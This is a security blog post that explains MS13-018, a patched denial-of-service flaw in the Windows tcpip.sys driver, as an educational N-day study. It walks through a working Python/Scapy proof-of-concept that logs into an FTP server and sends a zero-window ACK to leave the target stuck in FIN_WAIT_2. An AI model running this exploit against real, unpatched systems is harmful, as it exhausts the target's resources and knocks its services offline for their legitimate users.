After my previous posts about RFCs in 0-day research, I thought it would be great to shift the focus to N-day research. Lately, I’ve been diving into the tcpip.sys driver — there’s something exciting about juggling between the RFC webpage and my IDA window :) This took my attention after the recent TCP IPv6 RCE vulnerability, which got me thinking about the intricacies of the TCP/IP stack. To deepen my understanding, I decided to explore some N-day vulnerabilities, and one that really caught my attention was MS13–018, an older denial-of-service vulnerability. As part of this learning process, I also put together a proof-of-concept exploit to really get hands-on with the material.
In this blog, we’ll explore the N-day vulnerability MS13–018, a denial-of-service (DoS) flaw in the Windows tcpip.sys
driver, affecting specific versions of Windows (Windows Vista, 7, 8 etc). We’ll review the vulnerability's root cause, the TCP protocol's role, and examine a proof-of-concept (PoC) script to understand how such vulnerabilities were exploited. By the end of this post, you’ll have a comprehensive understanding of how MS13-018 worked and the safeguards put in place to mitigate similar issues in the future.
Unlike zero-day vulnerabilities, which are unknown to the software vendor and present immediate risks, N-day vulnerabilities have already been disclosed and documented. However, their potential for exploitation remains significant, especially if patches have not been widely applied or if new exploit techniques are discovered.
MS13–018 was a security bulletin released by Microsoft in February 2013. This vulnerability impacted the Windows TCP/IP stack (tcpip.sys
), which is responsible for handling network communication. The flaw resided in how the TCP state machine managed connections in the FIN_WAIT_2
state (a transitional state used when one side of a connection has finished sending data and is waiting for the other side to send a _FIN_
packet to close the connection).
But why is this significant? Uhm..When TCP connections are mishandled, it can result in resource exhaustion, making it possible for an attacker to craft a series of packets that put the server in a persistent state (e.g., FIN_WAIT_2
). In MS13-018, this flaw allowed attackers to force the target system into holding a significant number of connections open indefinitely, consuming resources and leading to a potential denial-of-service (DoS) condition.
I can almost hear you asking, ‘What in the world is FIN_WAIT_2?’ This is where the significance of RFCs comes into play once again. Read my previous blog for more info about RFCs :)
The TCP protocol, defined in RFC 793, outlines how connections transition through states such as _SYN_SENT_
, _ESTABLISHED_
, _FIN_WAIT_1_
, and _FIN_WAIT_2_
. The protocol itself relies on both parties of a connection to follow the proper handshake and teardown process. If one party fails to send the final _FIN_
to signal connection closure, the other remains in _FIN_WAIT_2_
, awaiting further action.
To put it simply, imagine you’re using FTP and want to close your session. You’d enter the command QUIT
. Behind the scenes, your machine sends a FIN packet to the target server, which then acknowledges it with a FIN/ACK. To complete the handshake, your machine needs to send a FIN packet again to officially close the connection. This process is outlined in the RFC. However, the vulnerability arises from how Microsoft implemented this. An attacker can exploit this by setting their machine's window size to zero, effectively stopping the final FIN packet from being sent to the target server. Since the target server never receives this last FIN packet, it simply continues to wait. Unfortunately, Microsoft didn't include a timeout mechanism or similar function (they later introduced in the patch ofc) in this process, which causes the target machine to sit indefinitely in the FIN_WAIT_2 state. This consumes resources like memory and processing power, leading to potential DoS conditions if exploited at scale.
Incase, if you are wondering what do I mean by “window size to zero” In the context of the TCP/IP protocol, the “window size” is a flow control mechanism that indicates how much data the receiver is able to accept. A window size of zero means the receiver cannot accept any more data at that moment, essentially telling the sender to pause data transmission until further notice. Please refer to this post from IBM if you want to learn more about the TCP flow control. I would suggest to go through that post as it would be super useful in understanding the vulnerability.
The RFCs provide guidelines for connection handling but do not detail how long an operating system should keep a connection in FIN_WAIT_2
before terminating it. The vulnerability exploited by MS13-018 was due to how Windows' TCP/IP implementation failed to adequately manage resources when connections were left hanging in FIN_WAIT_2
without a subsequent FIN
from the sender.
Let’s take a look at a PoC script that demonstrates how an attacker could exploit MS13–018. I used Python and Scapy to create a custom TCP packet sequence that leaves the target server in the FIN_WAIT_2
state indefinitely.
Initial Setup and SYN Packet Creation:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
from time import sleep
import sys
conf.verb = 0
SPORT = RandNum(1024, 65535)
my_seq = 1000
if len(sys.argv) != 4:
sys.stderr.write('\nUsage: [IP] [username] [password] \n\n')
sys.exit(1)
DSTIP = str(sys.argv[1])
USER = "USER " + str(sys.argv[2]) + "\r\n"
PASS = "PASS " + str(sys.argv[3]) + "\r\n"
QUIT = "quit\r\n"
print("\nRunning MS13-018 DoS - TCP FIN WAIT Attack Script...")
It’s quite easy to understand what the code does since it’s pretty straightforward. We’re importing Scapy and setting the verbosity level to 0 because we don’t want any verbose output while the script runs. For the source port (SPORT), we’re using a random port number. What’s particularly interesting about this code is its use of FTP. You might wonder why that is. Well, as I mentioned earlier, we need to establish a successful connection to the target machine in order to close that session. Closing the session involves sending a FIN packet, which will ultimately trigger the vulnerability that leads to a denial-of-service condition.
Creating and Sending the SYN Packet:
ip = IP(dst=DSTIP, flags="DF", ttl=64) # IP layer with the Don't Fragment (DF) flag
SYN = TCP(sport=SPORT, dport=21, flags="S", seq=my_seq, window=0xffff) # SYN packet with max window size
SYNACK = sr1(ip/SYN) # Send the SYN packet and receive SYN-ACK response
dst=DSTIP
to specify the target machine. The flags="DF"
setting prevents fragmentation, ensuring the packet remains whole during transmission. The ttl=64
is a common default to control how many network hops the packet can take before being discarded.flags="S"
to indicate a SYN (synchronization) request to initiate a connection. The window=0xffff
sets the maximum allowable window size for this segment, representing the buffer space available for receiving data.sr1()
function sends the SYN packet and waits for a SYN-ACK response from the server, indicating that the target is ready to proceed.Completing the 3-Way Handshake:
SPORT2 = SYNACK.dport # Record the server's port for consistency
sleep(0.1) # Allow a brief pause to ensure the target processes the packet
my_seq += 1 # Increment sequence number to match the protocol
my_ack = SYNACK.seq + 1 # Calculate acknowledgment for the SYN-ACK
ACK = TCP(sport=SPORT2, dport=21, flags="A", seq=my_seq, ack=my_ack, window=0xffff)
derp = sr1(ip/ACK) # Send the ACK packet to complete the handshake
SYNACK
, the script records the server’s port (SPORT2
) and constructs an ACK
packet to complete the handshake. The increment in my_seq
and my_ack
ensures the sequence and acknowledgment numbers follow the expected TCP pattern.ACK
packet with flags="A"
acknowledges receipt of the SYNACK
, moving the connection into the ESTABLISHED
state.Sending FTP Commands:
sleep(0.1)
my_ack = derp.seq + (derp[IP].len - (derp[IP].ihl * 4) - (derp[TCP].dataofs * 4))
data = USER # Construct FTP USER command
PUSH = TCP(sport=SPORT2, dport=21, flags="PA", seq=my_seq, ack=my_ack, window=0xffff)
derp = sr1(ip/PUSH/data) # Send data packet
my_ack
based on the last response's details. The formula ensures that the acknowledgment number accounts for the entire length of the previous packet, accurately tracking data exchange.PUSH
packet with flags="PA"
(Push + ACK) signals immediate data transfer without waiting for buffer accumulation. This step sends the USER
command to the server.Simulating Full Buffer and FIN-WAIT Transition:
sleep(0.1)
my_seq += len(USER)
my_ack = derp.seq + (derp[IP].len - (derp[IP].ihl * 4) - (derp[TCP].dataofs * 4))
data = PASS # Construct FTP PASS command
PUSH = TCP(sport=SPORT2, dport=21, flags="PA", seq=my_seq, ack=my_ack, window=0xffff)
derp = sr1(ip/PUSH/data) # Send FTP PASS command
# Sending QUIT command and transitioning to FIN_WAIT_2
my_seq += len(PASS)
my_ack = derp.seq + (derp[IP].len - (derp[IP].ihl * 4) - (derp[TCP].dataofs * 4))
data = QUIT
PUSH = TCP(sport=SPORT2, dport=21, flags="PA", seq=my_seq, ack=my_ack, window=0xffff)
derp = sr1(ip/PUSH/data)
Crafting the Denial-of-Service Condition:
my_seq += len(QUIT)
my_ack = derp.seq + (derp[IP].len - (derp[IP].ihl * 4) - (derp[TCP].dataofs * 4) + 1)
FIN = TCP(sport=SPORT2, dport=21, flags="A", seq=my_seq, ack=my_ack, window=0x0) # FIN packet with window size set to 0
send(ip/FIN) # Send the crafted FIN packet
print("\nCheck TCP state on " + DSTIP + ", Port: " + str(SPORT2) + ". Should be in FIN_WAIT_2 state.\n")
FIN
packet sets window=0x0
, simulating a full receive buffer and indicating to the server that the client can’t accept more data. This window size hints that the client is not ready for further data transfer, leaving the server waiting for a closing FIN
.FIN
without properly closing the connection from the client side, the server transitions to FIN_WAIT_2
and remains there indefinitely, consuming resources.If you aren’t still clear about this, This is how the script creates a DoS Condition,
FIN
packet with a window size of 0, signaling the closure of the connection from the sender's side.ACK
and moves into the **FIN_WAIT_2**
state, waiting for a FIN
from the sender (our script) to fully close the connection.**FIN_WAIT_2**
:FIN_WAIT_2
state is designed to be temporary, but if the sender does not send a final FIN
to complete the connection teardown, the target server may remain in this state indefinitely.FIN_WAIT_2
, the target server's resources (such as memory and file descriptors) can become exhausted, leading to a denial-of-service condition.Microsoft addressed MS13–018 by updating tcpip.sys
to include better resource management. The patch introduced:
FIN_WAIT_2
would close after a certain period of inactivity.tcpip.sys
managed TCP state transitions to prevent indefinite retention of resources.It took me some time to fully understand this vulnerability, but it was indeed fun, especially while staring at my IDA screen ❤. I was digging into the existing bugs in the tcpip.sys driver and created several proof-of-concepts since I couldn’t find any exploit scripts for most of them. After seeing how many devices are still running Windows Vista, Windows 7, and 8 on Shodan, it finally clicked why the authors kept their exploit code under wraps. I have several other PoCs stored away in my notes, but I thought it would be worthwhile to share a write-up about this DoS bug as it has some pre-requisites like having to make a successfull connection first in-order to trigger the vulnerability, now that I finally had the time. :)
Get the full exploit script here. This is for educational purposes only. Running these scripts, especially the one’s like this designed for DoS , is unethical and potentially illegal if done without explicit authorization on systems you do not own or manage.
Hope you guys find this post interesting and useful. Follow me on LinkedIn, Medium, X. I will be posting multiple such blogs (Hopefully!).
PEACE!
References:
learn.microsoft.com](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-018?source=post_page-----0fc98816d12a---------------------------------------)
www.ibm.com](https://www.ibm.com/docs/en/storage-protect/8.1.23?topic=tuning-tcp-flow-control&source=post_page-----0fc98816d12a---------------------------------------)